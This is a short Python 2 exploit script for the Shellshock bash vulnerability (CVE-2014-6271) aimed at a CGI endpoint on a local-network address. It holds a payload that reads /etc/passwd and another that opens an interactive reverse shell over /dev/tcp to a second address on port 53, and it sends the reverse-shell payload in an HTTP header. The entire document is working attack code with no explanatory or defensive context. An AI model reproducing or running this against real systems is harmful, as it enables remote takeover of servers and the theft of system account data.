# CVE-2014-6271 
import httplib,urllib,sys
conn = httplib.HTTPConnection("192.168.0.80")
payload='() { ignored;};echo;/bin/cat /etc/passwd'	
reverse_shell='() { ignored;}; /bin/bash -i >& /dev/tcp/192.168.0.178/53 0>&1'
headers = {"Content-type": reverse_shell}
conn.request("GET","/secure-cgi-directory/test.cgi",headers=headers)
res = conn.getresponse()
data = res.read()
print data 
